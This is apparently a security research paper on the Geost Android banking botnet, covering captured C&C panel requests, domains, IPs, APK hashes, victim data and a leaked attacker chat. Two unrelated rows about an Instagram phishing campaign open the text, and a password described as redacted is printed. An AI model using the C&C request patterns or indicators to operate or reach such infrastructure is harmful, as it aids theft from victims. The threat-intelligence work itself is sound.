| Farw4y | Username | Threat actor contact information in Instagram phishing campaign |
| bc1qgpukcptnyfyejmalpqzzz0fwg2w727ur6r4fvf | Cryptocurrency wallet ID | Bitcoin account for Instagram phishing ransom payments | |
# Geost Botnet: The Story of the Discovery of a New Android Banking Trojan from an OpSec Error
**Sebastian Garcia**
Czech Technical University in Prague, Czech Republic
**Maria Jose Erquiaga**
UNCUYO University, Czech Republic
**Anna Shirokova**
Avast Software, Czech Republic
[email protected]; [email protected]; [email protected]
## Abstract
Maintaining good operational security (OpSec) is difficult because it increases the cost of work and decreases the speed of actions. This is true for both security analysts and attackers. This paper describes a new botnet, which we called Geost, that we discovered thanks to multiple OpSec mistakes made by the attackers. The mistakes included: the use of the HtBot malware’s illegal proxy network; failing to encrypt the command-and-control servers; re-using security services; trusting other attackers that practice even less operational security; and failing to encrypt chat sessions. As far as we know, the Geost botnet has hundreds of malicious domains, 13 C&C servers, approximately 800,000 victims in Russia, and potential access to several million Euros in bank accounts. Moreover, the operational security mistakes led to the discovery of the names of members of an underground group related to the Geost botmasters. It is seldom possible to gain such insight into the decisions taken by attackers due to failures in their operational security. This paper summarizes the mistakes and the risks taken by the botmasters, provides an overview of the botnet operation, an analysis of the victims, and a study of the social relationships of the developers.
## 1. Introduction
It has always been difficult to know exactly how botnet owners (botmasters) operate. It is a complex task to understand the details of their decisions, to see inside their command-and-control (C&C) channels, and to glimpse into their conversations. The three main reasons why it has been difficult to find this information are:
1. Malware authors operate with some degree of operational security (OpSec) to hide information.
2. The C&C channels are implemented using evasive techniques, such as random domain names, overwhelming analysts with information.
3. It may not legally be possible for analysts to access data and communications in remote servers.
With all these obstacles combined, the security community rarely sees how botmasters operate, make decisions, and protect their communications.
OpSec failures have been the reason for multiple important discoveries in cybersecurity. OpSec can be defined as a ‘risk management process that encourages managers to view operations from the perspective of an adversary in order to protect sensitive information from falling into the wrong hands’. The consensus is that OpSec decisions should be carefully designed to be effective against a certain risk. Problems in OpSec are not limited to technical mistakes but include mistakes made in the correct evaluation of the risks taken and the countermeasures applied for protection.
This paper presents a very rare case of a chain of OpSec mistakes leading to the discovery of a new Android banking botnet targeting Russian citizens. It is unusual because the discovery was made when the botmasters decided to trust a malicious proxy network called HtBot. Our security laboratory had already been running samples of the HtBot malware for months when a traffic analysis revealed a group of infected computers being used to manage infected Android phones. The HtBot malware provides a proxy service that can be rented to provide secure connecting hosts for malicious activity. Our analysis of this HtBot communication led to the discovery and disclosure of a large operation infecting Android-based phones.
After the initial discovery of the Geost botnet, the method of analysis consisted of extracting more information about the attacks, the victims, the operations, its capabilities, and finally, about the group of developers related to the Geost botnet. Using pivoting techniques of threat hunting, it was possible to uncover the C&C channels, the domains, and IP addresses. Given that more than 72,600 victims were uncovered in just one C&C server, and there are at least 13 C&C channels, a conservative estimate of the total number of victims was calculated at 871,200.
The OpSec failures of the Geost botmasters were significant enough to allow us to recover a large amount of information. First, the attackers had a flawed risk model when choosing the appropriate communication platform for hiding their tracks. They picked up an illegal proxy network, not knowing that the network was being monitored by our laboratory. Instead of trusting a good communication provider, they trusted the security of a badly maintained illegal network. Second, the botmasters didn’t protect their communications with several layers of encryption protocols – making it possible for us to see the content of their communications. Third, there was a leaked document on a public website that detailed the chatting activities of a group of developers working on the C&C website of the botnet. Since the chat was conducted over Skype, it is possible that it was leaked by a member of the group. Fourth, the chat log revealed that credentials were commonly passed unencrypted in the chat, giving access to very important information about them. In summary, a chain of small mistakes was enough to disclose the operation of a large Android banking botnet.
This paper makes the following novel contributions:
- Describes for the first time and names the Geost botnet, unknown to the security community until now.
- Provides an analysis of the OpSec mistakes that led to the discovery of the activities of a cybercrime group acting in Russian-speaking countries.
- Describes the complete infrastructure of the botnet and its victims.
- Publishes indicators of compromise (IoCs) and information to enable the community to act upon the Geost botnet.
- Performs a social analysis of the cybercriminal group discovered.
- Makes available for the research community, upon request, all the datasets in reference to the discovery of the Geost botnet.
The remainder of this paper is organized as follows: Section 2 analyses the previous work in this area; Section 3 describes the discovery of the Geost botnet; Section 4 shows how the botnet operates; Section 5 analyses the infrastructure of the botnet; Section 6 studies the victims of the botnet; Section 7 discusses the attackers, botmasters, and developers; and Section 8 presents our conclusions.
## 2. Previous Work
There are several examples of mistakes made by malware authors that have led to the discovery of their identities. However, they are usually regarded as technical mistakes rather than OpSec problems. Technical mistakes are usually discovered as a result of poor OpSec criteria, e.g., code review. OpSec problems are hard to mitigate and they usually lead to the discovery of how botmasters operate or who they are. Good OpSec can protect the user, but depending on the adversary, small mistakes can be very costly. One of the most famous OpSec incidents was that of Guccifer 2.0, the alleged persona that attacked the Democratic National Committee in the US, whose real affiliation was supposedly confirmed when Guccifer 2.0 apparently failed to activate their VPN during one login process. This is an example of how hard good OpSec can be, even for experienced attackers.
A similar case of OpSec failure being taken advantage of by a powerful adversary was the identification of the owner of the Silk Road drug-selling site, Ross Ulbricht. Ulbricht was found because he used his personal email account to register other accounts related to his illegal site. Although good OpSec is possible, cybercriminals also make mistakes that put them in jeopardy. Practicing good OpSec is hard, and it’s harder when others try to force mistakes. In 2009, the Mariposa botmasters were captured because they connected to their servers directly from their homes. They usually used VPN services but after the police took their servers down (to force their hand), the botmasters panicked and connected insecurely. This paper provides an analysis of OpSec mistakes committed by a group of attackers while managing part of a botnet.
Regarding previous work on the Geost botnet, the only previous unnamed reference found was a post from September 2017 on the blog site Virqdroid. This blog post analysed one of the malware’s APK files, showed its technical qualities, and reported the IoCs. However, the blog lacked data about the threat, the attackers, and the victims, and therefore conclusions could not be drawn as to the size of the operation or the identity of the Android banking botnet.
Probably the most well-studied part of Android banking trojans are the binaries themselves. This is because binaries are the first contact with the security community and usually the only source of information. The number of binaries related to Android banking trojans suggests that these threats have been rising during 2017 and 2018, although no scientific study has focused on a systematic analysis of the problem. Android banking malware is too numerous to describe, but a few important mentions can be made. In the early 2000s, trojans Perkele and ibanking were well known for using SMS as a communication channel. From 2014, there was a new era of banking botnets with the appearance of Slempo, Marcher, Shiz, BankBot, and MazarBOT. Their infection techniques, C&C protocols, and the attacks performed were significantly improved.
Analyzing a malware binary is very useful, but the network traffic provides a different perspective. Even though some binary analysis may reveal network traffic, it is very difficult to capture traffic from the botmaster’s actions. In this regard, this paper shows a novel discovery of real botmasters’ actions while using their C&C servers.
## 3. Discovery
The Geost Android banking botnet was discovered as part of a larger malware analysis operation in our laboratory. During an experiment in which a sample of the HtBot malware was executed, the traffic analysis revealed a very unusual communication pattern that stood out from the rest. HtBot operates by converting its victims into unwilling private illegal Internet proxies. The infected victims relay communications from the HtBot users to the Internet. HtBot is regarded as an underground proxy network that is difficult for security analysts to tap, since its traffic is continually redirected to new victims. The users of the HtBot network pay the HtBot botmasters to provide them with high-speed, semi-private communications for their operations.
Our laboratory was running and monitoring HtBot bots that were communicating with the Internet. Since these bots offered illegal proxy connections, it was possible to capture all the traffic coming from the illegal users to the Internet. During the analysis of the network traffic of the illegal users, a pattern was discovered; this turned out to be the content of the C&C communication channel of the new Geost botnet.
The analysis of the HtBot malware traffic revealed the pattern shown in Figure 2. This pattern was discovered thanks to two features that stand out: the large amount of traffic transferred and the lack of encryption. Transfers of such large amounts of unencrypted data are not common in a normal network. The use of unencrypted web servers for the C&C operation was the second OpSec mistake made by the botmasters. It is not clear why they neglected to use TLS encryption, since it is free and easy to install. The main hypothesis is that they may have had a large number of C&C servers and managing the certificates for them all would have been time-consuming.
The OpSec decision of the Geost botmasters to use the HtBot proxy botnet is believed to be based on the idea that an illegal proxy network may have better security than other alternatives, such as the Tor network, a commercial VPN network, or their own compromised servers on the Internet. The Tor network was probably discarded as a bad OpSec choice since it is known to be monitored. The option of a commercial VPN has the disadvantage that the botmasters would be putting their trust in a private company that may be forced to submit its logs to the authorities. The third option, of compromised servers, may be the best from an OpSec point of view, but it would involve extending the current Android banking botnet with another layer of servers, infections, malware, monitoring, and maintenance. This option is much more costly than the rest. The decision to use the HtBot network may have seemed wise since it does not belong to a company, it’s not usually monitored, and it handles its own maintenance. In the end, though, the decision to use the HtBot network was the first operational security mistake. It seems that the balance of probabilities and cost-benefit analysis were not correctly evaluated by the botmasters.
## 4. Botnet Operations
The main advantage of accessing the botmasters’ traffic while they were using the HtBot network was the possibility of a deep study of the attackers’ decisions and actions. The analysis helped to identify a large botnet infrastructure, measure the size of the operation, and determine the goal of the botnet. Based on the evidence found, the Geost operation seems to consist of a large number of APK Android applications related to several topics, from banks and photo services to fake social networks. Once the applications are installed, it seems that they may be able to interact directly with the web services of five banks in Eastern Europe. It seems that one of the goals of the botnet is to access the personal information of the victims through their SMS messages, including those messages sent by the banks. The rest of this section describes the actions of the botmasters and how they helped identify each part of the Geost botnet. It is worth remembering that this was the traffic traversing our HtBot instance.
### Access and Actions in the C&C Servers
The botmasters accessed the C&C servers through a web server using port 80/TCP. The web server was running nginx version 1.12.2. The first connection seen in the traffic was made on Sat, 10 Mar 2018 11:54:08 GMT and it was an access to the C&C server with the following request (not complete):
```
GET /geost.php?bid=c5d72910bd8a97aeb2ce7336fbd78a1f HTTP/1.1
Host: wgg4ggefwg.ru
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
Accept-Language: en-US,en;q=0.5
Referer: http://wgg4ggefwg.ru/geost.php
Cookie: SSE=p6ee96ki2knqrtsahdv84cuj04; __lnkrntdmcvrd=-1
```
From this request, several things can be learned. First, that the botmaster was already logged in, because the cookie was already set. Second, that the botmaster was probably using a Windows computer, given the User-Agent. Third, that the domain was wgg4ggefwg.ru, and that the request was coming from the web page http://wgg4ggefwg.ru/geost.php. After this first request, the botmaster changed a note on one of the victims with the following request:
```
POST /stuff.php?mode=change_notes
bid=c5d72910bd8a97aeb2ce7336fbd78a1f¬es=14.50+10.03+68.000
```
The fact that the botmasters put notes on individual victims suggests that they may have been after something more than automatic access to their bank accounts. After changing the note for a victim, the botmaster requested a list of SMS messages from a victim with the HTTP request:
```
POST /stuff.php?mode=showSmsList
```
The response to this request was a long list of more than 900 SMS messages from one victim. The SMS messages are analysed in Section 6.
The original HTTP response with the SMS list was a JSON file using Unicode encoding (\u chars) for transferring Russian characters. The following is an example:
```json
{"response": [{"conversations": {"+900":[{"body":"\u0421\u043f\u0438\u0441\u0430\u043d\u0438
```
The decoded text in Russian is as follows (the password was redacted):
Списание средств: Platbox (RUB 120.00); пароль: 342365. Не сообщайте пароль НИКОМУ. Только мошенники запрашивают пароли.
The English translation of this message is:
Withdrawal of funds: Platbox (RUB 120.00); password: 342365. Do not disclose the password to ANYONE. Only fraudsters request passwords.
This SMS seems to be a message from the Platbox Russian payment system saying that 120 Russian Rubles have been withdrawn. Despite our initial assumption that the botnet was only looking for two-factor authentication messages, it is unclear why the botmasters are monitoring these messages. The first important remark is that the C&C stores the complete list of SMS messages of all the victims since the moment they were infected. The second important remark is that the SMSs were processed offline in the C&C server to automatically compute the balance of each victim. This can be seen in the C&C web page.
### Botmaster Access to the Login Page
More than eight days after the first access, a botmaster showed up again to access the Geost C&C server. It may have been a different botmaster because the User-Agent of their browser was different from the first time. The first time, the User-Agent was Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0, which is a Windows computer. The second time it was Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0, which is an older version of the browser on a Windows computer. Since it’s very unlikely that the botmaster downgraded the browser, the conclusion is that these are different computers.
During this second access, it was possible to observe the complete login process and to obtain the master password of the C&C server. The long-term execution of the malware, which is standard policy in our laboratory, made possible the capture of this important piece of information. This connection also reveals the third OpSec error: the botmasters believed that it was safe to use the HtBot proxy network again. This is a huge underestimation of the security risk of using the same service twice. A better approach would have been to change the connection method every time. The login request was sent as:
```
GET /geost.php
```
and resulted in the login page shown in Figure 3. This page was reconstructed in our browsers by extracting the data from the traffic capture. The login page has an option to change the language between Russian and English, which suggests that the botmasters may speak either of those languages.
After the login page was presented, the botmaster logged in with the following request (not complete):
```
POST /stuff.php?mode=autorize HTTP/1.1
Host: wgg4ggefwg.ru
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
X-Requested-With: XMLHttpRequest
Referer: http://wgg4ggefwg.ru/geost.php
Content-Length: 31
Cookie: SSE=epr0dr4qlejbgphtqppmmjrca0
pwd=[redacted]&language=ru
```
The password used was 15 characters long and included nine numbers and six lower-case letters. The fact that the password was leaked means that it would be possible for others to log into the C&C server. The password is not incredibly complex since it lacked symbols and upper-case letters, but it is considered strong enough to resist the casual brute-forcer. It is also worth noting that there is a typo in the name of the request parameter, which is ‘autorize’ instead of authorize.
After logging in, the botmaster accessed the main panel of the C&C, which shows more than 7,500 infected phones and information about the version of the malware, IMEI of the phones, permissions of the malware, country of the phones, balance in the bank accounts, and much more. The main C&C web page shows the following information for each victim:
- Status: whether the victim is online.
- ID: identification number of the victim assigned by the botnet.
- IMEI: code that identifies each cell phone.
- Rights: probably whether the malware has admin rights, or only SMS access, or both.
- Version: version of the Android operating system.
- Operator: phone operator.
- Country: country of the phone – it is not clear how this is obtained, but probably using the phone number.
- Balance: balance in the bank of the user.
- Category: it is not clear what this menu is for – the options are: Balance, Spam, Dead, Lok, Tupyat, Sliv, Credit, OTKLU4en, NULOVKI, and ONLIKI.
- Flow: probably to identify how the phone was infected, given that the options are: marion1, dea, and sitedub, which are related to APK applications.
### Features of the C&C
By looking at the options on the C&C page, it is possible to infer the goals of the botnet and its main activities. From the top menu, it can be seen that the management of injects (specific applications for each bank) is important, as well as the management of spam, SMS, and Tasks. Under the menu Поток, which means Flow or Stream, there are several options that suggest a filter for how the victim was infected, since all the options refer to Android applications. This theory was confirmed later when it was found that each botnet operator has its own ‘Flow id’ to determine how many infections they produced. After accessing the main C&C web page, the botmaster requested to filter the victims by their online status using the following request:
```
/stuff.php?mode=filter_online
```
After the victims were sorted by online status, the botmaster sorted them by balance amount using the following request:
```
/stuff.php?mode=filter_balance
```
These two actions suggest that the intention was to see the online victims that have the largest balance of money, probably to act on them in some way, but no action was witnessed.
### Banks Attacked
By accessing the client-side source code of the web page in the network traffic, it was possible to identify which banks were the focus of the Geost botnet. The fact that only five banks were listed suggests that there is a special type of action that can only happen with those banks. It may seem as if the malware APKs or the C&C code could access and make transfers in accounts of those banks, but this hypothesis was not proven. For security reasons, the complete list of banks will not be published until the banks acknowledge our contact with them. However, it is possible to provide the following characteristics of the targeted banks:
- The first bank is a Russian commercial neobank. One of the top five providers of credit cards in Russia.
- The second bank is one of the five largest private commercial banks in Russia and one of the top 1,000 world banks.
- The third bank is one of the three largest banks in Russia and Eastern Europe, and one of the top 40 banks in the world.
- The fourth bank is one of the 500 largest organizations in Europe and one of the leading banks in Russia.
- The fifth bank is part of a large group of cooperatives with subsidiaries in more than 15 countries, being in the top seven banks in Russia.
- The sixth bank is a publicly traded Russian payment service provider operating electronic online payment systems in Russia, Ukraine, Kazakhstan, Moldova, Belarus, Romania, the United States, and the United Arab Emirates.
## 5. Botnet Infrastructure
The infrastructure used by Geost is large but not extremely complex. To date, 13 C&C IP addresses, more than 140 domains, and more than 150 APK files have been found. The domains seem to be randomly generated, but not with a complete domain generation algorithm.
### Randomness in Geost
Domain generation algorithms (DGAs) are algorithms that generate domains in a pseudorandom way. This is used as a mechanism to avoid detection and hide the C&C server by resolving a new IP address very quickly. Since the algorithm is unknown to the analyst, they are usually unpredictable. However, the malware author knows the algorithm and therefore can predict which domain will be requested. The attacker then registers the domain with an IP address they control. There are usually three main ways to identify a DGA algorithm: (1) the domains seem random, (2) dozens of domains are requested very quickly, and (3) most of the domains do not have an IP assigned to them.
However, in the case of Geost, the domain generation algorithm is very unusual. It looks random enough, but each sample only attempts to contact one domain. Also, all the domains found so far do have an IP address assigned. It is not clear, then, how the domains are assigned to each sample, but it appears that each domain is assigned to one sample. The DGA used in the Geost botnet is character-based, uses letters and numbers, and the TLD is .ru or .xyz. The only domain that broke the rule was g877855hrg.ru.com.
The following is a sample list of Geost C&C domains:
- w23t2t2tfwg.ru
- wg34gh34t.xyz
- 32r3t23wef.ru
- ijsdggrur.ru
- wgg4ggefwg.ru
- 52t34tyt43.xyz
Another novel feature of Geost in reference to randomness is the use of an algorithm to generate PHP file names. This is not strictly DGA since they are not domains, but the random principle is the same. The main difference between a classic DGA and the PHP file generation algorithm is the purpose. While classic DGAs are intended to prevent the discovery of the botnet domains and subsequent takedown, the PHP file generation algorithm prevents the generation of signatures to find and block those names. It is not simple, for example, to create a YARA rule that matches a DGA domain using a random PHP file. The PHP filenames are 32 characters long, the same as an MD5 string. The following is a sample list of the filenames for the domain 2ve3gh53h3yh.ru:
- m99h49wtp1g35b5721d64mfs5p8ese1x.php
- n7co2vpu098x85ctgdn689rf4d18n5jz.php
- fhdkqgyfux4gj2t6zwu434ptw0i0mefu.php
- csbu72ow56i9qq7yg1ufbo3ql1phb1s6.php
- f8t8d5tnqvwwi1l2qf0itr97cdibre6i.php
- hgkvf2riqt49z33isl978pj17aivc0nw.php
The final characteristic of Geost domains is that some of them have a large number of subdomains. For instance, the domain 2ve3gh53h3yh.ru has exactly 1,024 subdomains, such as 0hu, 00n, 03, 06p, and 090.
### IP Addresses
At least 13 IP addresses have been found so far. The following table shows a summary of the IP addresses with, for each one, the Autonomous System (AS), country, number of domains related to the IP, and the number of APK hashes that communicate with it. It is worth noting that most IP addresses belong to Mauritius.
| IP Address | AS | Country | Domains | Hash |
|---------------------|-----------------------|---------|---------|------|
| 104.18.61.144 | CloudFlare, Inc. | US | >100 | 3 |
| 104.24.109.180 | CloudFlare, Inc. | US | >100 | 19 |
| 162.222.213.6 | QuadraNet Enter | US | 14 | 20 |
| 162.222.213.25 | Admo.net | US | 20 | 20 |
| 162.222.213.29 | Admo.net | US | 8 | 20 |
| 154.16.244.26 | NetStack | MU | 3 | 0 |
| 154.16.244.27 | NetStack | MU | 9 | 2 |
| 154.16.244.28 | NetStack | MU | 19 | 12 |
| 154.16.244.30 | NetStack | MU | 8 | 0 |
| 154.16.244.138 | NetStack | MU | 10 | 0 |
| 154.16.244.139 | NetStack | MU | 3 | 0 |
| 154.16.244.140 | NetStack | MU | 1 | 0 |
| 81.177.6.88 | OJSC RTComm | RU | 584 | |
### APK Hashes
The Geost botnet is associated with at least 150 APK (Android package) files. Most APKs share some similarities with each other: each one mostly communicates with only one domain, and each one accesses one unique random PHP file. Regarding the phone permissions, all of them requested access to read, receive, and send SMS messages, to write on the external storage, to access contacts, and to change Wi-Fi status. For the rest of this section, we will refer to the APK binaries with their MD5 hash. The list of SHA256 hashes for the APK files related to this paper can be found in the Appendix.
An example of a Geost APK is the file with MD5 4e1af25f84200c7f63e315fe7ca07a9c, that, according to VirusTotal, communicated with the domain w23t2t2tfwg.ru and PHP file q15m9gdhybzfznkgexdld9lk3tigg08w.php.
Another example is the APK 9d8702dafbcad82a4603e1fd2e2869b4, which contacted the domain w23t2t2tfwg.ru and the PHP file pyh32o0ezfguw1xl4382wzm8tnr1tyng.php. The domain w23t2t2tfwg.ru is one of the most commonly used by APK samples in Geost. The following table shows the complete list of 25 APK hashes that contacted the domain w23t2t2tfwg.ru together with their detection ratio in VirusTotal: the number of anti-virus engines that detected them positively on 23 February 2019 against the total number of anti-virus engines that checked the sample. For space reasons, it was not possible to include the complete list of 150 APK hashes for the complete Geost botnet.
An example of an APK resolving several domains is 92a3a69c6c0922ace36ca3ac95fcbbb6, which was first seen in the wild in September 2017. The domains resolved by this sample were: 23r23e23er.xyz, fwefr434r3.xyz, rgrer43e2e.xyz, wef34r34rs.xyz, and ge5t5t54trtr.xyz.
| SHA256 Hash | Detect / Total AVs |
|-----------------------------------------------------------------------------|---------------------|
| 1e13f46e3833e0a002c499a611b8f4b57b9716a0686b2a04ee701260c3f729e4 | 36 / 61 |
| 1bc3a740bf994d49301fac2f976a7e6887a2f869a09a66d273538d44b2c990b6 | 34 / 59 |
| 91c032d905a92a3dc69c2ba163dd9978ce843fbb2f434f2254a1b7d69b411aff | 32 / 62 |
| 4d73fc6eb4099bb4b27225ea6c19f7a1f5d276a540d42d244a1b38566aacdcea | 26 / 62 |
| e31986c1309e9aae27fec1d3a279b816f6610e54c06c154589a4f72f694d1161 | 29 / 60 |
| 34a01cedf6b94d4979a81275fa8cd4e99e9691b13339ce8763d2362d7fe8faec | 32 / 62 |
| 2dc56dc14d8c352813c3c6d7026f830a940a716ab291f90bd9aacdc9a236af69 | 29 / 63 |
| 22bac0179306a5bfd7e1d90d458298f487c67d3f84b2ab9bd6f2e399c86cfdc7 | 27 / 62 |
| 051a942a724fb1c5485f1e14f7899dc237c9bf1d7e4db900b0c03e2e3e42e8eb | 32 / 61 |
| 298601b71f2c4d5db132ad9d972cdabb61bdebb69980fac411fdd9a6e9275860 | 32 / 62 |
| 8ddd48b104bd8805a1c5c98bc6fb7165924d3b3206ada973297c2b511ed2b555 | 27 / 62 |
| e26d52647bc345232aa904987dc872ee500a1278fdfd65fcfbae58be774dcc96 | 23 / 59 |
| c9a64286bc7e921d150a64e678705b4fcb99389eafc658c623455ba498009212 | 26 / 62 |
| 56ed2cbb764748b95d893ba1b1c58d0dd801ef1a98958cd5a36eff0995d90999 | 35 / 62 |
| 6d6d79f259943c02d1f39fa7212e0dc3c95650e5aab516e90d083120cff9ee60 | 32 / 62 |
| 72808f79b8c1b5d26324e7c30a1ae61eba2775dbe68d92fa2c85cab7329b5d04 | 27 / 62 |
| 781f84749667a9cc588b46671077111f5f433c4e3635c8e832ada54ee72a0421 | 38 / 63 |
| 4c41694a957419fe79173f802f3167df865fbbe78d8a2747e15018acfbdfe86e | 31 / 61 |
| ccfff0a7d44fa7d0ff81029c3871be118dad82bc7012a4a5162e979798e2a6fc | 19 / 63 |
| f9ae476484cf27a2fff5095f9c0a278debd9794aedefe986d912c95fc3e82f26 | 28 / 62 |
| 4f6524c3748369228e381198213b7eab2fcffb29f4b01a0a6b4c3af2e06f5464 | 28 / 62 |
| 7bea49e9e60beb5e7fe95c29d8f11da4a6ea36d7ab8787f442125ef111284811 | 32 / 60 |
| d305f1f13cdf9bbfb2c1fb16b73771d13a7ca0b6a417e93583ad3d0aa78fac2a | 33 / 60 |
| d499e64697b9cf2ba61036acf389939ec91c2c2dae9d3672603fe60c80c85432 | 28 / 62 |
| 78d2ed73571c9f39432143ece31cd92d05b39b7f6590b4841adf33764ac3f816 | 30 / 62 |
## 6. Victims
The traffic generated by the botmasters when accessing the C&C server revealed information about the victims of this botnet. It seems that the botmasters kept a detailed summary of the victims, and that this summary was important for the operation of the botnet. The victims of this botnet not only probably lose money but they had their privacy and identity completely compromised. The minimum amount of information that the botmasters know about each victim can be seen in the following list:
- IMEI of the phone
- Brand of the phone
- Phone service provider
- Phone number
- Country of the phone number
- Current balance of bank accounts
- History of balance in each bank account (the history of the balance is not even available to the victims themselves)
- Whether they have a credit card tied to the phone
- From the SMS of the victims:
- Name of victim
- Home address
- Social relationships
- Religion
- Purchases
- Expenses
- Financial problems.
Regarding the number of victims, it is only possible to speculate. In the C&C server of the IP address 162.222.213.28, there were 50 victims per page, and there were 1,452 pages, which gives an estimation of 72,600 victims in that C&C alone. Extrapolating this to the 13 C&C servers, a rough estimation of the total number of victims may be 871,200. It is possible that even more victims exist, given that there may be more C&C servers.
According to the 50 victims shown in one of the C&C screens, there is a column labelled ‘Balance’ that shows the amount of money (in Rubles) in the bank accounts of the victims. The total sum of this column of 50 victims is 1,129,152 Rubles, which is approximately 15,000 Euros. Extrapolating this number to the estimated 800,000 victims in this C&C, there may be an estimated maximum total amount of money close to 240,000,000 Euros. However, the real total for this C&C could be much lower if we consider that the web page is sorted by balance.
### IMEI
Of all the information stolen from the victims, the IMEI is important because it can be used to identify them. The IMEI is a unique code assigned to cell phones and, by searching for it online, it is possible to find out information about the device. The IMEI number is divided into parts. The initial eight-digit portion of the IMEI, known as the Type Allocation Code (TAC), details the phone model and origin. The remainder of the IMEI is manufacturer-defined, with a Luhn check digit at the end. Given the IMEI, it is possible to determine the victim’s phone model and characteristics. From the IMEI numbers, it was also possible to identify the victims’ phone operators, including Tele2, MTS RUS, Beeline, MegaFon, Yota, and Motiv. The last one is a Russian regional provider.
### SMS Data
The access to SMS messages was probably one of the more invasive actions of the botnet. SMS messages potentially contain a lot of private information about the user. An analysis of the two SMS lists downloaded revealed that users shared very private conversations with friends and lovers, the status of their financial accounts, and sensitive private data about themselves. It was particularly interesting to find that most of the private information was leaked by the phone operators, including users’ real name, birthday, the last four numbers of their credit card, the amount of money in their balance, and the password for mobile banking applications. The following is an example SMS stolen by the attackers (without personal information):
```
07/03/18 18:59 VISA5880 purchase 120r
MTS TOPUP 5635 Balance: 49746.86r
```
## 7. Attackers
One of the most important breakthroughs of this analysis was the discovery of a file in a public web page that referenced one of the Geost domains. This file proved to be the chat log of a group of people related to the Geost botnet operation. It is not clear how the file was leaked, but since it was a Skype chat log, it was probably created (whether on purpose or not) by one of the participants in the chat. The use of Skype as a communication medium is consistent with previous reports on the modus operandi of the Russian malware community. The existence of this file marks another OpSec error on the part of the botmasters: they trusted part of the operation to a group of users with very low or non-existent OpSec practices.
It was possible, then, to conduct an open-source intelligence (OSINT) investigation to find out more about the group in this chat log. The file has more than 6,200 lines, covering eight months of chats, and shows the private conversations of 29 people. Not all of them seem to be related to the Geost botnet since the group had several alternative streams of revenue. By analysing the top participants in the chat log, it was possible to determine that the user ‘powerfaer’ was the only one talking with all the participants, making this user the probable owner of the chat log.
During the time period from 2017-06-11 11:14 to 2018-04-17 18:41, powerfaer held business discussions with the other 28 people in relation to different projects. The conversations between powerfaer and the user with the nickname ‘mirrexx777’ seem to be the most notable since they showed a connection with the Geost botnet. For instance, on several occasions, powerfaer and mirrexx777 exchanged links to the control panel of the Geost botnet, sharing information that nobody would possess unless they were insiders. The following is a human translation from Russian:
On 2017-10-18 07:24:07
From powerfaer to mirrexx777:
`http://2[redacted]e.xyz/stats.php?sid=7NDNI0aercTtwPA`
title: Statistics
Re-crypt, Kaspersky got cleaned
From mirrexx777 to powerfaer:
ok. will do. according to the old recordings how many of them remains?
i want to start to keep a record
The fact that they shared information from inside the C&C channels – information that you need to be logged in to see (the stats.php file) – and the fact that they discuss the need to fix them, is strong evidence that they possess internal information with complete knowledge of its purpose. There were many pieces of evidence in the chat log showing a relationship with malware actions, such as asking to re-encrypt links because Kaspersky was able to detect them.
It seems that the user powerfaer has operated since 2010. This is supported by one conversation where there was a remark about the income from traffic in 2010 having been better. Some conversations in the chat got serious and resulted in the use of real names as a means to call the attention of the other. This confirmed the names of some aliases. The following log confirmed the name of ‘taganchik.ru’ when powerfaer talked to him:
Alexander, really, if we started together we need to finish it. Because for now this is working and we can earn money. Not every day we are getting 100k for promotion.
Later on, however, it seems that the user taganchik.ru tried to leave the group:
From taganchik.ru to powerfaer:
(...) But now I'm saying I am working but in fact I don't. I am getting demotivated and do not want to do anything.
From powerfaer to taganchik.ru:
Understand, ok. Shame. If you change your mind write to me.
Showing a complete lack of OpSec, the chat log also revealed credentials for several servers and services, such as fttkit.com (an Android application protection service advertised on the Russian underground site crimina.la). The log also disclosed the IDs of online wallets and credit card numbers. This information helped us find sensitive information about the identity of some individuals. For instance, ‘taganchik.ru’, ‘elkol95’, and ‘dmitrixxx89’ all advertise their services on the same web marketing forum.
The user powerfaer also engaged in conversations with several money launderers. The log confirms that online payment systems such as WebMoney, Qiwi, and Yandex Money remain popular among Russian cybercriminals. However, these services are not anonymous and it would be possible to see the payments through third-party money launderers. The following is an example chat with the user ‘cyberhosting.ru’:
On 2017-12-04 11:21
powerfaer wrote to cyberhosting.ru:
And another question, can you exchange cash to BTC?
A challenge for us during the analysis was to understand the Russian underground slang. For example, the term white accounting should be translated to Russian as Белая бухгалтерия. However, cybercriminals used the term белка, which in English means squirrel. The same issue applies to other words like application, which translates to прила in Russian and has no direct translation in English. After a deep OSINT analysis, it was possible to infer a list of probable real names for the following nicknames: ‘mirrexx777’, ‘powerfaer’, ‘cyberhosting.ru’, ‘taganchik.ru’, ‘doktorsaitov’, ‘dmitrixxx89’, and ‘maximchik700’. However, the names will not be published since their implication in the Geost operation has not been confirmed.
## 8. Conclusion and Future Work
The discovery of the Geost Android banking botnet inside the traffic of another malware proxy shows that operational security is very hard to get right, and that simple mistakes can lead to a deep understanding of the operations of malware authors. After the discovery of the Geost botmasters accessing their C&C servers, it was possible to find more and more pieces of their botnet infections, leading to a very large mapping of their attack infrastructure, their APK binaries, the number of victims infected, and an estimation of the economic size of the operation. Finally, it was possible to use open-source intelligence to relate a group of developers to part of the infrastructure-building process of the botnet. The developers do not seem to be the Geost botmasters, but an underground group related to them.
Despite operating since at least 2016, the Geost botnet remained unknown until its traffic was captured on the HtBot malware. This may suggest that the best OpSec may be to hide operations among thousands of other malware. However, once the operation was found, it was clear that the group’s OpSec measures were not good since there were several mistakes that have led to information about the operation.
### Summary of Operational Security Mistakes
- Use of the illegal proxy network HtBot. Wrong estimation of the risk of using a service that was being tracked in a security laboratory.
- Failure to encrypt C&C traffic. It was possible to identify the traffic and the content of the communications.
- Use of the same protection service multiple times. This allowed repeated monitoring of the attackers and the capture of credentials.
- The hiring of a group of developers with very low OpSec, who disclosed links, names, and credentials in their chats.
- Failure to encrypt chats. This allowed a document to be leaked containing important information about the privacy of some attackers and leads about their identities.
The amount of information collected on the Geost botnet was so large that it has not been possible to include all the details of the infrastructure, the victims found, banks accounts disclosed, phones infected, credit cards used, and the very interesting view of the social relationships within a group of underground cybercriminals. Therefore, our analysis of the Geost botnet will continue in several directions. The name ‘Geost’ was selected after the only web page that didn’t seem to change in the C&C servers.
## Acknowledgements
We would like to thank Veronica Valeros for her help during the analysis and extraction of information. We also thank Professor Sebastian Garcia.
## References
